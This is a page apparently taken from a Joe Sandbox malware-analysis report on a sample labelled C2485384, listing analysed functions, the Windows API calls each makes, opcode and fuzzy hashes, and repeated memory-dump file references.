Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __fileno__flsbuf
String ID:
API String ID: 3539722517-0
Opcode ID: 10c1eb676a31cfd617763de1cb7959e68859eb87d5ff9a86a91ff01ebc0a6b8a
Instruction ID: 310d2f05ebd4e2ee7f4a1a1bfb47905ab0ceccb2941e7267429bf7d83d184278
Opcode Fuzzy Hash: 10c1eb676a31cfd617763de1cb7959e68859eb87d5ff9a86a91ff01ebc0a6b8a
Instruction Fuzzy Hash: 5AE01A708141409ADA214A30D0557217FE49F5272DF74868FD6949A2E2D73A91A7DA32

Function 0BB7B9A4 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0BB7B9B8

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b074d97571478b5a7d9d58b93d66ae9cd11e265affbb6eaa2dd03f7aba6d1ea5
Instruction ID: 66106afa0ccc0b90d65832166c664646b4dfc06b6631174863578f9476391db1
Opcode Fuzzy Hash: b074d97571478b5a7d9d58b93d66ae9cd11e265affbb6eaa2dd03f7aba6d1ea5
Instruction Fuzzy Hash: EFD012722081106BD220A55A6C84DAB6BDCCBC5771F100679B5A8C2280D6208C018671

Function 62558854 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,6255337B,?), ref: 62558869

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6dd41bb7353fef1d520affeed63b644e6348713b4458f45c4a50faf88d07c48b
Instruction ID: bfb6ab90f9be1198beb49ac53deddcea46c35cdc049041122fb26f2ec07f73ce
Opcode Fuzzy Hash: 6dd41bb7353fef1d520affeed63b644e6348713b4458f45c4a50faf88d07c48b
Instruction Fuzzy Hash: 7FD05E366947549EDF205E755C087223FECD3863A5F014876BD0DC6150F6B8C590CA45

Function 625406F0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(62582A38,?), ref: 62540719

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: ExchangeInterlocked
String ID:
API String ID: 367298776-0
Opcode ID: 226a4040f2062d77c1429e156cca7f5fd03d81200c64ec736de95e5128185f09
Instruction ID: 7975e424f9a214f735d7b498eebaf8d0c5296834bbc86c463902d169b923f398
Opcode Fuzzy Hash: 226a4040f2062d77c1429e156cca7f5fd03d81200c64ec736de95e5128185f09
Instruction Fuzzy Hash: CCE08C31100A908FE7316F78D41C966BBE4EF8C320312086AF5A2C3220DF31D8008B41

Function 0BB77260 Relevance: 1.5, APIs: 1, Instructions: 14synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,0BBD5193,00000000,00000000,00000000,.mtx,?,xxxxxx,?,Index,0BBDFCE8,00000000,0BBD545C), ref: 0BB77276

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 21e0619b74412fae9514185c35c6bd95fbb7b52f213a822672066e7264c0ded7
Instruction ID: 9f19e5817b6caf93197d6e860a89bd254c95892fd5bdeb9980db7cd8d3a91a6e
Opcode Fuzzy Hash: 21e0619b74412fae9514185c35c6bd95fbb7b52f213a822672066e7264c0ded7
Instruction Fuzzy Hash: 90C0127319024CAF8700EEA9CC05D9B33DC5B18605B008424B528C7100C539E5508B60

Function 6254F2AE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 6254F2BB

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: b5f1e3f8c0985568a2b975540194b91a49099896255c8aa19d8b1f82aed34cac
Instruction ID: ef1a07c32eef88e0b061dac88010f29536bab6beae8361af1898f31a8f01ce85
Opcode Fuzzy Hash: b5f1e3f8c0985568a2b975540194b91a49099896255c8aa19d8b1f82aed34cac
Instruction Fuzzy Hash: 4EC0927244020C77CF211A86EC12E4A7F1A9BC0764F049021FF1C19160AB73EE61968A

Function 62550E23 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__make__time64_t.LIBCMT ref: 62550E2D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: __make__time64_t
String ID:
API String ID: 1242165881-0
Opcode ID: 5f2446f3e75e43e2549ab1216d78344c9aed32879290253eb41c07f426e25a17
Instruction ID: 95c052703cb776c950b5545ffd76d0e42fcf76d421454e37aebcc2dc962a78d2
Opcode Fuzzy Hash: 5f2446f3e75e43e2549ab1216d78344c9aed32879290253eb41c07f426e25a17
Instruction Fuzzy Hash: BFB092321483082AD61059C9A442E89378887C8B28F100002B61C0B181A9A2F8904299

Function 625118D0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$__strlwr$CleanupStartupgethostname
String ID:
API String ID: 1657729447-0
Opcode ID: 6faafa5d76316b0f92738c6bdd870a3ceaee526713e88fd9be7274d9c4cef453
Instruction ID: 01b1a02c0584bcf27c041c39f083f8c176f292a02ff9b1093b89ff30a535eddb
Opcode Fuzzy Hash: 6faafa5d76316b0f92738c6bdd870a3ceaee526713e88fd9be7274d9c4cef453
Instruction Fuzzy Hash: 029004555F545F003D301534C45D4345445D0D1F4F7403FF03053C50C4DF00440D1041

Function 6252ADE0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6252ADEA

Part of subcall function 6254ED6C: __FF_MSGBANNER.LIBCMT ref: 6254ED8F
Part of subcall function 6254ED6C: __NMSG_WRITE.LIBCMT ref: 6254ED96
Part of subcall function 6254ED6C: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,62558DFF,?,00000001,?,?,62557CE7,00000018,62578F08,0000000C,62557D78), ref: 6254EDE3

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AllocHeap_malloc
String ID:
API String ID: 3293231637-0
Opcode ID: b72c12259e921fe119fadb5ec1e323169b9ca551c89be55bcc88314bb917fba5
Instruction ID: a4593d7f1d64689a27645555c39a7ec7c9ddc469f82042fc515eb05ca680b8d0
Opcode Fuzzy Hash: b72c12259e921fe119fadb5ec1e323169b9ca551c89be55bcc88314bb917fba5
Instruction Fuzzy Hash: E1B012B6904201ABC514C660E58180BF7E8AAE1300F809858F04887020D634E5088603

Function 0BB91B10 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,0BBD4C80,00000000,?,0BB91C67,?,?,00000000,0BB70000,00000000,00000000,00000000), ref: 0BB91B2E

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b19f11b13ad3e784eeb850492f147006aa2b467f44884f95e943b52c78188238
Instruction ID: ec0f281b3a863aad140da78a59337ef641706811c317f11b191998fa934945d0
Opcode Fuzzy Hash: b19f11b13ad3e784eeb850492f147006aa2b467f44884f95e943b52c78188238
Instruction Fuzzy Hash: 4811A0742403069FCB10DF18D880B46FBE5EF89790F10C679E9999B384E374E901CBA4

Function 0BB785D0 Relevance: 1.3, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004), ref: 0BB785E9

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 59a2e95d51df86a096b67fa070f34a6916915b60b57c7af0b00ea7635cc8db9d
Instruction ID: 23fc519cb75f4288f611057b2a852b6ac8b51ec070a98b539ebd0172c5b11836
Opcode Fuzzy Hash: 59a2e95d51df86a096b67fa070f34a6916915b60b57c7af0b00ea7635cc8db9d
Instruction Fuzzy Hash: 1A1103B1609301AFC350DF2DC985A0ABBE4EF89794F11896CE988CB368E374D940CB02

Function 625220B0 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 625220F8

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: b4927377c920f8a31b27d46c810eea5a0115c4a5fccc5455bf4a3cdb9786f5fc
Instruction ID: 59a2c6a0db0c8890042994f75d346c27d463dd4baafe4ff358ea7d5ce56fd463
Opcode Fuzzy Hash: b4927377c920f8a31b27d46c810eea5a0115c4a5fccc5455bf4a3cdb9786f5fc
Instruction Fuzzy Hash: DBE0A33965220047D730471CC8B0B6A7395EFC5314F25502AE801D76C4CB30DDC2CB51

Function 625211F0 Relevance: 1.3, APIs: 1, Instructions: 31sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 62521236

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

